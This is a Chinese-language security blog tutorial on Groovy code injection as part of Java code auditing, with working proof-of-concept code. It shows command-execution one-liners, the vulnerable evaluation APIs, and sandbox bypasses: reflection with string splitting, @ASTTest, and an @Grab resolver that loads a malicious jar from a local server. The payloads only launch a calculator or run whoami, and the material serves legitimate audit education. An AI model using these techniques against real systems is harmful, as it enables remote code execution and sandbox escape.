Java代码审计之Groovy代码执行

Java代码审计之Groovy代码执行

0x01 介绍

Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy代码能够与Java代码很好地结合,也能用于扩展现有代码。由于其运行在JVM上的特性,Groovy也可以使用其他非Java语言编写的库。

Groovy是用于Java虚拟机的一种敏捷的动态语言,它是一种成熟的面向对象编程语言,既可以用于面向对象编程,又可以用作纯粹的脚本语言。使用该种语言不必编写过多的代码,同时又具有闭包和动态语言中的其他特性。

Groovy是JVM的一个替代语言(替代是指可以用Groovy在Java平台上进行Java编程),使用方式基本与使用Java代码的方式相同,该语言特别适合与Spring的动态语言支持一起使用,设计时充分考虑了Java集成,这使Groovy与Java代码的互操作很容易。(注意:不是指Groovy替代Java,而是指Groovy和Java很好的结合编程。)

Groovy有以下特点:

  • 同时支持静态和动态类型;
  • 支持运算符重载;
  • 本地语法列表和关联数组;
  • 对正则表达式的本地支持;
  • 各种标记语言,如XML和HTML原生支持;
  • Groovy对于Java开发人员来说很简单,因为Java和Groovy的语法非常相似;
  • 可以使用现有的Java库;
  • Groovy扩展了java.lang.Object;

0x02 环境搭建

下载Groovy:http://groovy-lang.org/download.html

解压之后,使用IDEA新建Groovy项目时选择解压的Groovy目录即可

image-20211102164951317

然后点击src->new>groovy class,即可新建一个groovy文件,内容如下:

class test {
    static void main(args){
        println "Hello World!";
    }
}

image-20211102164857678

image-20211102165119449

0x03 Groovy代码注入

1.执行命令的方式

// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

RCE.groovy代码如下:

class RCE {
    static void main(args){
        def cmd = "open -a Calculator";
        Runtime.getRuntime().exec(cmd);
//        cmd.execute()
//        println "${cmd.execute()}";

        def cmd2 = "ls -laht"
        println cmd2.execute().text
    }
}

image-20211102170004915

2. 触发漏洞代码

GroovyShell
GroovyScriptEngine
GroovyClassLoader
ScriptEngineManager

GroovyShellExample.java代码如下:

import groovy.lang.*;
import groovy.util.GroovyScriptEngine;
import groovy.util.ResourceException;
import groovy.util.ScriptException;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;

public class GroovyShellExample {
    // GroovyShell 直接执行命令
    public void func1(){
        GroovyShell groovyShell = new GroovyShell();
        // 直接执行命令
        groovyShell.evaluate("\"open -a Calculator\".execute()");
    }

    // GroovyShell 运行脚本
    public void func2() throws IOException {
        GroovyShell groovyShell = new GroovyShell();
        // 运行脚本
        Script script = groovyShell.parse(new File("src/Test.groovy"));
        script.run();
    }

    // GroovyScriptEngine
    public void func3() throws IOException, ScriptException, ResourceException {
        // GroovyScriptEngine可从指定的位置(文件系统、URL、数据库等等)加载Groovy脚本,并且随着脚本变化而重新加载它们。如同GroovyShell一样,GroovyScriptEngine也允许传入参数值,并能返回脚本的计算值。
        GroovyScriptEngine groovyScriptEngine = new GroovyScriptEngine("");
        groovyScriptEngine.run("src/Test.groovy",new Binding());
    }

    // GroovyClassLoader
    public void func4() throws IOException, InstantiationException, IllegalAccessException {
        GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
        Class loadClass = groovyClassLoader.parseClass(new File("src/Test.groovy"));
        GroovyObject groovyObject = (GroovyObject) loadClass.newInstance();
        groovyObject.invokeMethod("main","");
    }

    // 在ScriptEngine中,支持名为“groovy”的引擎,可用来执行Groovy代码。
    // ScriptEngine 直接执行命令
    public void func5() throws javax.script.ScriptException {
        ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
        groovyEngine.eval("\"open -a Calculator\".execute()");
    }

    // ScriptEngine 运行脚本
    public void func6() throws Exception {
        ScriptEngine groovyEngine = new ScriptEngineManager().getEngineByName("groovy");
        String code = readfile("src/1.txt");
        groovyEngine.eval(code);
    }

    public static String readfile(String filename) throws Exception {
        BufferedReader in = new BufferedReader(new FileReader(filename));
        String string = "";
        String str;
        while ((str = in.readLine()) != null) {
            string = string + str;
        }
        return string;
    }



    public static void main( String[] args ) throws Exception {
        GroovyShellExample groovyShellExample = new GroovyShellExample();
//        groovyShellExample.func1();
//        groovyShellExample.func2();
//        groovyShellExample.func3();
//        groovyShellExample.func4();
//        groovyShellExample.func5();
        groovyShellExample.func6();

    }
}

0x04 绕过

1. 反射和字符串拼接

bypassReflect.java

import java.lang.reflect.Method;

public class bypassReflect {
    public static void main(String[] args) throws Exception {
        Class<?> rt = Class.forName("java.la" + "ng.Run" + "time");
        Method gr = rt.getMethod("getR" + "untime");
        Method ex = rt.getMethod("ex" + "ec", String.class);
        ex.invoke(gr.invoke(null), "ope" + "n -a" +" Cal" + "culator");
    }

}

2.Groovy沙箱Bypass

@AST注解执行断言

参考Groovy的Meta Programming手册,利用AST注解能够执行断言从而实现代码执行(本地测试无需assert也能触发代码执行)。

ASTTest.groovy

this.class.classLoader.parseClass('''
    @groovy.transform.ASTTest(value={
        assert Runtime.getRuntime().exec("open -a Calculator")
    })
    def x
''');

image-20211102170727475

@Grab注解加载远程恶意类

@Grab注解的详细用法在Dependency management with Grape中有讲到,简单地说,Grape是Groovy内建的一个动态Jar依赖管理程序,允许开发者动态引入不在ClassPath中的函式库。

DemoGrab.groovy代码:

请求 http://127.0.0.1:8888/test/poc/0/poc-0.jar 加载Exp类,实例化后执行构造方法里的代码

this.class.classLoader.parseClass('''
    @GrabConfig(disableChecksums=true)
    @GrabResolver(name='Exp', root='http://127.0.0.1:8888/')
    @Grab(group='test', module='poc', version='0')
    import Exp;
''')

Exp.java

class Exp {
    public Exp(){
        try {
            java.lang.Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) { }

    }
}

Javac Exp.java 生成Exp.class

在src目录下创建META-INF.services目录,并创建org.codehaus.groovy.plugins.Runners文件,文件内容为Exp

mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-0.jar Exp.class META-INF

image-20211102172129340

将poc-0.jar放到Web目录下,路径在test/poc/0/

image-20211102172404756

运行DemoGrab.groovy

image-20211102172439128

成功执行了命令

image-20211102172508620

0x05 参考链接

https://www.mi1k7ea.com/2020/08/26/%E4%BB%8EJenkins-RCE%E7%9C%8BGroovy%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5/


   转载规则


《Java代码审计之Groovy代码执行》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。